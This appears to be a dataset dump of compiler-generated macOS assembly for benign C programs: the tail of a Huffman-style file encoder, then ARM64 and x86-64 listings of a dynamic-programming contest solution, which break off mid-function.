0x480 popq %rbp retq LBB11_23: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _root ## @root .zerofill __DATA,__common,_root,8,3 .globl _qhead ## @qhead .zerofill __DATA,__common,_qhead,8,3 .globl _chead ## @chead .zerofill __DATA,__common,_chead,8,3 .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "list:" L_.str.1: ## @.str.1 .asciz "(%c,%f) " L_.str.2: ## @.str.2 .asciz "\n" L_.str.3: ## @.str.3 .asciz "Found %c, %lu times\n" L_.str.4: ## @.str.4 .asciz "inserting:%c,%f\n" L_.str.5: ## @.str.5 .asciz "popped:%c,%f\n" L_.str.6: ## @.str.6 .asciz "Too deep. Limit is %d" .comm _code,5100,4 ## @code L_.str.7: ## @.str.7 .asciz "built code:%c,%s\n" L_.str.8: ## @.str.8 .asciz "<tag>%c</tag>,%s\n" L_.str.9: ## @.str.9 .asciz "%s" L_.str.10: ## @.str.10 .asciz "Usage for encoder:: encode -i FILENAME -o FILENAME -i FILENAME, input filename for txt file to compress -o FILENAME, output filename for txt file to compress " L_.str.11: ## @.str.11 .asciz "code.txt" L_.str.12: ## @.str.12 .asciz "i:o:h" L_.str.13: ## @.str.13 .asciz "Filename:: %s\n" L_.str.14: ## @.str.14 .asciz "Compressed file:: %s\n" L_.str.15: ## @.str.15 .asciz "Error! Input file must be provided by user.\n" L_.str.16: ## @.str.16 .asciz "r" L_.str.17: ## @.str.17 .asciz "Error! tree could not be created\n" L_.str.18: ## @.str.18 .asciz "code:" L_.str.19: ## @.str.19 .asciz "w" .subsections_via_symbols
the_stack_data/57949389.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _max ; -- Begin function max .p2align 2 _max: ; @max .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] str w1, [sp, #8] ldr w8, [sp, #12] ldr w9, [sp, #8] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr w8, [sp, #12] str w8, [sp, #4] ; 4-byte Folded Spill b LBB0_3 LBB0_2: ldr w8, [sp, #8] str w8, [sp, #4] ; 4-byte Folded Spill b LBB0_3 LBB0_3: ldr w0, [sp, #4] ; 4-byte Folded Reload add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _x@GOTPAGE ldr x8, [x8, _x@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill adrp x8, _f@GOTPAGE ldr x8, [x8, _f@GOTPAGEOFF] str x8, [sp, #24] ; 8-byte Folded Spill stur wzr, [x29, #-4] stur wzr, [x29, #-8] b LBB1_1 LBB1_1: ; =>This Loop Header: Depth=1 ; Child Loop BB1_3 Depth 2 ; Child Loop BB1_5 Depth 3 ldur w8, [x29, #-8] subs w8, w8, #100 cset w8, gt tbnz w8, #0, LBB1_26 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 stur wzr, [x29, #-12] b LBB1_3 LBB1_3: ; Parent Loop BB1_1 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB1_5 Depth 3 ldur w8, [x29, #-12] ldur w10, [x29, #-8] mov w9, #100 subs w9, w9, w10 subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB1_24 b LBB1_4 LBB1_4: ; in Loop: Header=BB1_3 Depth=2 stur wzr, [x29, #-16] b LBB1_5 LBB1_5: ; Parent Loop BB1_1 Depth=1 ; Parent Loop BB1_3 Depth=2 ; => This Inner Loop Header: Depth=3 ldur w8, [x29, #-16] ldur w10, [x29, #-8] mov w9, #100 subs w9, w9, w10 ldur w10, [x29, #-12] subs w9, w9, w10 subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB1_22 b LBB1_6 LBB1_6: ; in Loop: Header=BB1_5 Depth=3 ldr x12, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x9, #48400 mul x9, x8, x9 mov x8, x12 add x8, x8, x9 ldursw x9, [x29, #-12] mov x11, #440 mul x9, x9, x11 add x8, x8, x9 ldursw x9, [x29, #-16] ldr w8, [x8, x9, lsl #2] ldur w9, [x29, #-8] add w9, w9, #4 mov w10, #48400 smaddl x9, w9, w10, x12 ldursw x10, [x29, #-12] mul x10, x10, x11 add x9, x9, x10 ldursw x10, [x29, #-16] ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB1_8 b LBB1_7 LBB1_7: ; in Loop: Header=BB1_5 Depth=3 ldr x12, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x9, #48400 mul x9, x8, x9 mov x8, x12 add x8, x8, x9 ldursw x9, [x29, #-12] mov x11, #440 mul x9, x9, x11 add x8, x8, x9 ldursw x9, [x29, #-16] ldr w8, [x8, x9, lsl #2] add w8, w8, #1 ldur w9, [x29, #-8] add w9, w9, #4 mov w10, #48400 smaddl x9, w9, w10, x12 ldursw x10, [x29, #-12] mul x10, x10, x11 add x9, x9, x10 ldursw x10, [x29, #-16] str w8, [x9, x10, lsl #2] b LBB1_8 LBB1_8: ; in Loop: Header=BB1_5 Depth=3 ldr x9, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x11, #48400 mul x10, x8, x11 mov x8, x9 add x8, x8, x10 ldursw x10, [x29, #-12] mov x12, #440 mul x10, x10, x12 add x8, x8, x10 ldursw x10, [x29, #-16] ldr w8, [x8, x10, lsl #2] ldursw x10, [x29, #-8] mul x10, x10, x11 add x11, x9, x10 ldur w9, [x29, #-12] add w9, w9, #2 mov w10, #440 smaddl x9, w9, w10, x11 ldursw x10, [x29, #-16] ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB1_10 b LBB1_9 LBB1_9: ; in Loop: Header=BB1_5 Depth=3 ldr x9, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x11, #48400 mul x10, x8, x11 mov x8, x9 add x8, x8, x10 ldursw x10, [x29, #-12] mov x12, #440 mul x10, x10, x12 add x8, x8, x10 ldursw x10, [x29, #-16] ldr w8, [x8, x10, lsl #2] add w8, w8, #1 ldursw x10, [x29, #-8] mul x10, x10, x11 add x11, x9, x10 ldur w9, [x29, #-12] add w9, w9, #2 mov w10, #440 smaddl x9, w9, w10, x11 ldursw x10, [x29, #-16] str w8, [x9, x10, lsl #2] b LBB1_10 LBB1_10: ; in Loop: Header=BB1_5 Depth=3 ldr x12, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x9, #48400 mul x9, x8, x9 mov x8, x12 add x8, x8, x9 ldursw x9, [x29, #-12] mov x11, #440 mul x9, x9, x11 add x8, x8, x9 ldursw x9, [x29, #-16] ldr w8, [x8, x9, lsl #2] ldur w9, [x29, #-8] add w9, w9, #4 mov w10, #48400 smaddl x9, w9, w10, x12 ldursw x10, [x29, #-12] mul x10, x10, x11 add x9, x9, x10 ldursw x10, [x29, #-16] ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB1_12 b LBB1_11 LBB1_11: ; in Loop: Header=BB1_5 Depth=3 ldr x12, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x9, #48400 mul x9, x8, x9 mov x8, x12 add x8, x8, x9 ldursw x9, [x29, #-12] mov x11, #440 mul x9, x9, x11 add x8, x8, x9 ldursw x9, [x29, #-16] ldr w8, [x8, x9, lsl #2] add w8, w8, #1 ldur w9, [x29, #-8] add w9, w9, #4 mov w10, #48400 smaddl x9, w9, w10, x12 ldursw x10, [x29, #-12] mul x10, x10, x11 add x9, x9, x10 ldursw x10, [x29, #-16] str w8, [x9, x10, lsl #2] b LBB1_12 LBB1_12: ; in Loop: Header=BB1_5 Depth=3 ldr x12, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x9, #48400 mul x9, x8, x9 mov x8, x12 add x8, x8, x9 ldursw x9, [x29, #-12] mov x11, #440 mul x9, x9, x11 add x8, x8, x9 ldursw x9, [x29, #-16] ldr w8, [x8, x9, lsl #2] ldur w9, [x29, #-8] add w9, w9, #1 mov w10, #48400 smaddl x9, w9, w10, x12 ldursw x10, [x29, #-12] mul x10, x10, x11 add x9, x9, x10 ldur w10, [x29, #-16] add w10, w10, #1 ldr w9, [x9, w10, sxtw #2] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB1_14 b LBB1_13 LBB1_13: ; in Loop: Header=BB1_5 Depth=3 ldr x12, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x9, #48400 mul x9, x8, x9 mov x8, x12 add x8, x8, x9 ldursw x9, [x29, #-12] mov x11, #440 mul x9, x9, x11 add x8, x8, x9 ldursw x9, [x29, #-16] ldr w8, [x8, x9, lsl #2] add w8, w8, #1 ldur w9, [x29, #-8] add w9, w9, #1 mov w10, #48400 smaddl x9, w9, w10, x12 ldursw x10, [x29, #-12] mul x10, x10, x11 add x9, x9, x10 ldur w10, [x29, #-16] add w10, w10, #1 str w8, [x9, w10, sxtw #2] b LBB1_14 LBB1_14: ; in Loop: Header=BB1_5 Depth=3 ldr x12, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x9, #48400 mul x9, x8, x9 mov x8, x12 add x8, x8, x9 ldursw x9, [x29, #-12] mov x11, #440 mul x9, x9, x11 add x8, x8, x9 ldursw x9, [x29, #-16] ldr w8, [x8, x9, lsl #2] ldur w9, [x29, #-8] add w9, w9, #4 mov w10, #48400 smaddl x9, w9, w10, x12 ldursw x10, [x29, #-12] mul x10, x10, x11 add x9, x9, x10 ldursw x10, [x29, #-16] ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB1_16 b LBB1_15 LBB1_15: ; in Loop: Header=BB1_5 Depth=3 ldr x12, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x9, #48400 mul x9, x8, x9 mov x8, x12 add x8, x8, x9 ldursw x9, [x29, #-12] mov x11, #440 mul x9, x9, x11 add x8, x8, x9 ldursw x9, [x29, #-16] ldr w8, [x8, x9, lsl #2] add w8, w8, #1 ldur w9, [x29, #-8] add w9, w9, #4 mov w10, #48400 smaddl x9, w9, w10, x12 ldursw x10, [x29, #-12] mul x10, x10, x11 add x9, x9, x10 ldursw x10, [x29, #-16] str w8, [x9, x10, lsl #2] b LBB1_16 LBB1_16: ; in Loop: Header=BB1_5 Depth=3 ldr x11, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x9, #48400 mul x9, x8, x9 mov x8, x11 add x8, x8, x9 ldursw x9, [x29, #-12] mov x10, #440 mul x9, x9, x10 add x8, x8, x9 ldursw x9, [x29, #-16] ldr w8, [x8, x9, lsl #2] ldur w9, [x29, #-8] add w9, w9, #2 mov w10, #48400 smaddl x11, w9, w10, x11 ldur w9, [x29, #-12] add w9, w9, #1 mov w10, #440 smaddl x9, w9, w10, x11 ldursw x10, [x29, #-16] ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB1_18 b LBB1_17 LBB1_17: ; in Loop: Header=BB1_5 Depth=3 ldr x11, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x9, #48400 mul x9, x8, x9 mov x8, x11 add x8, x8, x9 ldursw x9, [x29, #-12] mov x10, #440 mul x9, x9, x10 add x8, x8, x9 ldursw x9, [x29, #-16] ldr w8, [x8, x9, lsl #2] add w8, w8, #1 ldur w9, [x29, #-8] add w9, w9, #2 mov w10, #48400 smaddl x11, w9, w10, x11 ldur w9, [x29, #-12] add w9, w9, #1 mov w10, #440 smaddl x9, w9, w10, x11 ldursw x10, [x29, #-16] str w8, [x9, x10, lsl #2] b LBB1_18 LBB1_18: ; in Loop: Header=BB1_5 Depth=3 ldr x9, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x11, #48400 mul x10, x8, x11 mov x8, x9 add x8, x8, x10 ldursw x10, [x29, #-12] mov x12, #440 mul x10, x10, x12 add x8, x8, x10 ldursw x10, [x29, #-16] ldr w8, [x8, x10, lsl #2] ldursw x10, [x29, #-8] mul x10, x10, x11 add x11, x9, x10 ldur w9, [x29, #-12] add w9, w9, #1 mov w10, #440 smaddl x9, w9, w10, x11 ldur w10, [x29, #-16] add w10, w10, #2 ldr w9, [x9, w10, sxtw #2] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB1_20 b LBB1_19 LBB1_19: ; in Loop: Header=BB1_5 Depth=3 ldr x9, [sp, #24] ; 8-byte Folded Reload ldursw x8, [x29, #-8] mov x11, #48400 mul x10, x8, x11 mov x8, x9 add x8, x8, x10 ldursw x10, [x29, #-12] mov x12, #440 mul x10, x10, x12 add x8, x8, x10 ldursw x10, [x29, #-16] ldr w8, [x8, x10, lsl #2] add w8, w8, #1 ldursw x10, [x29, #-8] mul x10, x10, x11 add x11, x9, x10 ldur w9, [x29, #-12] add w9, w9, #1 mov w10, #440 smaddl x9, w9, w10, x11 ldur w10, [x29, #-16] add w10, w10, #2 str w8, [x9, w10, sxtw #2] b LBB1_20 LBB1_20: ; in Loop: Header=BB1_5 Depth=3 b LBB1_21 LBB1_21: ; in Loop: Header=BB1_5 Depth=3 ldur w8, [x29, #-16] add w8, w8, #1 stur w8, [x29, #-16] b LBB1_5 LBB1_22: ; in Loop: Header=BB1_3 Depth=2 b LBB1_23 LBB1_23: ; in Loop: Header=BB1_3 Depth=2 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-12] b LBB1_3 LBB1_24: ; in Loop: Header=BB1_1 Depth=1 b LBB1_25 LBB1_25: ; in Loop: Header=BB1_1 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB1_1 LBB1_26: mov x9, sp sub x8, x29, #20 str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf mov w8, #1 stur w8, [x29, #-24] b LBB1_27 LBB1_27: ; =>This Loop Header: Depth=1 ; Child Loop BB1_29 Depth 2 ldur w8, [x29, #-24] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB1_49 b LBB1_28 LBB1_28: ; in Loop: Header=BB1_27 Depth=1 mov x9, sp sub x8, x29, #28 str x8, [x9] sub x8, x29, #32 str x8, [x9, #8] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf ldr x8, [sp, #16] ; 8-byte Folded Reload str wzr, [x8, #12] str wzr, [x8, #8] str wzr, [x8, #4] str wzr, [x8] mov w8, #1 stur w8, [x29, #-36] b LBB1_29 LBB1_29: ; Parent Loop BB1_27 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-36] ldur w9, [x29, #-28] subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB1_32 b LBB1_30 LBB1_30: ; in Loop: Header=BB1_29 Depth=2 mov x9, sp add x8, sp, #40 str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w9, [sp, #40] ldur w11, [x29, #-32] sdiv w10, w9, w11 mul w10, w10, w11 subs w9, w9, w10 add x9, x8, w9, sxtw #2 ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB1_31 LBB1_31: ; in Loop: Header=BB1_29 Depth=2 ldur w8, [x29, #-36] add w8, w8, #1 stur w8, [x29, #-36] b LBB1_29 LBB1_32: ; in Loop: Header=BB1_27 Depth=1 ldur w9, [x29, #-24] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf str wzr, [sp, #36] ldur w8, [x29, #-32] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB1_34 b LBB1_33 LBB1_33: ; in Loop: Header=BB1_27 Depth=1 ldr x9, [sp, #16] ; 8-byte Folded Reload ldr w8, [x9] ldr w9, [x9, #4] add w9, w9, #1 mov w10, #2 sdiv w9, w9, w10 add w8, w8, w9 str w8, [sp, #36] b LBB1_47 LBB1_34: ; in Loop: Header=BB1_27 Depth=1 ldur w8, [x29, #-32] subs w8, w8, #3 cset w8, ne tbnz w8, #0, LBB1_39 b LBB1_35 LBB1_35: ; in Loop: Header=BB1_27 Depth=1 ldr x9, [sp, #16] ; 8-byte Folded Reload ldr w8, [x9] str w8, [sp, #36] ldr w8, [x9, #4] ldr w9, [x9, #8] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB1_37 b LBB1_36 LBB1_36: ; in Loop: Header=BB1_27 Depth=1 ldr x10, [sp, #16] ; 8-byte Folded Reload ldr w8, [x10, #8] ldr w9, [x10, #4] ldr w10, [x10, #8] subs w9, w9, w10 add w9, w9, #2 mov w10, #3 sdiv w9, w9, w10 add w9, w8, w9 ldr w8, [sp, #36] add w8, w8, w9 str w8, [sp, #36] b LBB1_38 LBB1_37: ; in Loop: Header=BB1_27 Depth=1 ldr x10, [sp, #16] ; 8-byte Folded Reload ldr w8, [x10, #4] ldr w9, [x10, #8] ldr w10, [x10, #4] subs w9, w9, w10 add w9, w9, #2 mov w10, #3 sdiv w9, w9, w10 add w9, w8, w9 ldr w8, [sp, #36] add w8, w8, w9 str w8, [sp, #36] b LBB1_38 LBB1_38: ; in Loop: Header=BB1_27 Depth=1 b LBB1_46 LBB1_39: ; in Loop: Header=BB1_27 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w8, [x8, #4] subs w8, w8, #0 cset w8, le tbnz w8, #0, LBB1_41 b LBB1_40 LBB1_40: ; in Loop: Header=BB1_27 Depth=1 ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x11, [sp, #24] ; 8-byte Folded Reload ldr w8, [x9, #4] subs w8, w8, #1 mov w10, #48400 smaddl x8, w8, w10, x11 ldrsw x10, [x9, #8] mov x11, #440 mul x10, x10, x11 add x8, x8, x10 ldrsw x9, [x9, #12] ldr w8, [x8, x9, lsl #2] add w8, w8, #1 str w8, [sp, #36] b LBB1_41 LBB1_41: ; in Loop: Header=BB1_27 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w8, [x8, #8] subs w8, w8, #0 cset w8, le tbnz w8, #0, LBB1_43 b LBB1_42 LBB1_42: ; in Loop: Header=BB1_27 Depth=1 ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x11, [sp, #24] ; 8-byte Folded Reload ldr w0, [sp, #36] ldr w8, [x9, #4] subs w8, w8, #1 mov w10, #48400 smaddl x8, w8, w10, x11 ldrsw x10, [x9, #8] mov x11, #440 mul x10, x10, x11 add x8, x8, x10 ldrsw x9, [x9, #12] ldr w8, [x8, x9, lsl #2] add w1, w8, #1 bl _max str w0, [sp, #36] b LBB1_43 LBB1_43: ; in Loop: Header=BB1_27 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w8, [x8, #12] subs w8, w8, #0 cset w8, le tbnz w8, #0, LBB1_45 b LBB1_44 LBB1_44: ; in Loop: Header=BB1_27 Depth=1 ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x8, [sp, #24] ; 8-byte Folded Reload ldr w0, [sp, #36] ldrsw x10, [x9, #4] mov x11, #48400 mul x10, x10, x11 add x8, x8, x10 ldrsw x10, [x9, #8] mov x11, #440 mul x10, x10, x11 add x8, x8, x10 ldr w9, [x9, #12] subs w9, w9, #1 ldr w1, [x8, w9, sxtw #2] bl _max add w8, w0, #1 str w8, [sp, #36] b LBB1_45 LBB1_45: ; in Loop: Header=BB1_27 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w9, [x8] ldr w8, [sp, #36] add w8, w8, w9 str w8, [sp, #36] b LBB1_46 LBB1_46: ; in Loop: Header=BB1_27 Depth=1 b LBB1_47 LBB1_47: ; in Loop: Header=BB1_27 Depth=1 ldr w9, [sp, #36] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB1_48 LBB1_48: ; in Loop: Header=BB1_27 Depth=1 ldur w8, [x29, #-24] add w8, w8, #1 stur w8, [x29, #-24] b LBB1_27 LBB1_49: ldur w0, [x29, #-4] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .comm _f,5324000,2 ; @f .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d" l_.str.1: ; @.str.1 .asciz "%d%d" .comm _x,16,2 ; @x l_.str.2: ; @.str.2 .asciz "Case #%d: " l_.str.3: ; @.str.3 .asciz "%d\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _max ## -- Begin function max .p2align 4, 0x90 _max: ## @max .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl -4(%rbp), %eax cmpl -8(%rbp), %eax jle LBB0_2 ## %bb.1: movl -4(%rbp), %eax movl %eax, -12(%rbp) ## 4-byte Spill jmp LBB0_3 LBB0_2: movl -8(%rbp), %eax movl %eax, -12(%rbp) ## 4-byte Spill LBB0_3: movl -12(%rbp), %eax ## 4-byte Reload popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movl $0, -4(%rbp) movl $0, -8(%rbp) LBB1_1: ## =>This Loop Header: Depth=1 ## Child Loop BB1_3 Depth 2 ## Child Loop BB1_5 Depth 3 cmpl $100, -8(%rbp) jg LBB1_26 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movl $0, -12(%rbp) LBB1_3: ## Parent Loop BB1_1 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB1_5 Depth 3 movl -12(%rbp), %eax movl $100, %ecx subl -8(%rbp), %ecx cmpl %ecx, %eax jg LBB1_24 ## %bb.4: ## in Loop: Header=BB1_3 Depth=2 movl $0, -16(%rbp) LBB1_5: ## Parent Loop BB1_1 Depth=1 ## Parent Loop BB1_3 Depth=2 ## => This Inner Loop Header: Depth=3 movl -16(%rbp), %eax movl $100, %ecx subl -8(%rbp), %ecx subl -12(%rbp), %ecx cmpl %ecx, %eax jg LBB1_22 ## %bb.6: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %eax movl -8(%rbp), %ecx addl $4, %ecx movslq %ecx, %rdx movq _f@GOTPCREL(%rip), %rcx imulq $48400, %rdx, %rdx ## imm = 0xBD10 addq %rdx, %rcx movslq -12(%rbp), %rdx imulq $440, %rdx, %rdx ## imm = 0x1B8 addq %rdx, %rcx movslq -16(%rbp), %rdx cmpl (%rcx,%rdx,4), %eax jl LBB1_8 ## %bb.7: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %edx addl $1, %edx movl -8(%rbp), %eax addl $4, %eax movslq %eax, %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl %edx, (%rax,%rcx,4) LBB1_8: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %eax movslq -8(%rbp), %rdx movq _f@GOTPCREL(%rip), %rcx imulq $48400, %rdx, %rdx ## imm = 0xBD10 addq %rdx, %rcx movl -12(%rbp), %edx addl $2, %edx movslq %edx, %rdx imulq $440, %rdx, %rdx ## imm = 0x1B8 addq %rdx, %rcx movslq -16(%rbp), %rdx cmpl (%rcx,%rdx,4), %eax jl LBB1_10 ## %bb.9: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %edx addl $1, %edx movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movl -12(%rbp), %ecx addl $2, %ecx movslq %ecx, %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl %edx, (%rax,%rcx,4) LBB1_10: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %eax movl -8(%rbp), %ecx addl $4, %ecx movslq %ecx, %rdx movq _f@GOTPCREL(%rip), %rcx imulq $48400, %rdx, %rdx ## imm = 0xBD10 addq %rdx, %rcx movslq -12(%rbp), %rdx imulq $440, %rdx, %rdx ## imm = 0x1B8 addq %rdx, %rcx movslq -16(%rbp), %rdx cmpl (%rcx,%rdx,4), %eax jl LBB1_12 ## %bb.11: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %edx addl $1, %edx movl -8(%rbp), %eax addl $4, %eax movslq %eax, %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl %edx, (%rax,%rcx,4) LBB1_12: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %eax movl -8(%rbp), %ecx addl $1, %ecx movslq %ecx, %rdx movq _f@GOTPCREL(%rip), %rcx imulq $48400, %rdx, %rdx ## imm = 0xBD10 addq %rdx, %rcx movslq -12(%rbp), %rdx imulq $440, %rdx, %rdx ## imm = 0x1B8 addq %rdx, %rcx movl -16(%rbp), %edx addl $1, %edx movslq %edx, %rdx cmpl (%rcx,%rdx,4), %eax jl LBB1_14 ## %bb.13: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %edx addl $1, %edx movl -8(%rbp), %eax addl $1, %eax movslq %eax, %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movl -16(%rbp), %ecx addl $1, %ecx movslq %ecx, %rcx movl %edx, (%rax,%rcx,4) LBB1_14: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %eax movl -8(%rbp), %ecx addl $4, %ecx movslq %ecx, %rdx movq _f@GOTPCREL(%rip), %rcx imulq $48400, %rdx, %rdx ## imm = 0xBD10 addq %rdx, %rcx movslq -12(%rbp), %rdx imulq $440, %rdx, %rdx ## imm = 0x1B8 addq %rdx, %rcx movslq -16(%rbp), %rdx cmpl (%rcx,%rdx,4), %eax jl LBB1_16 ## %bb.15: ## in Loop: 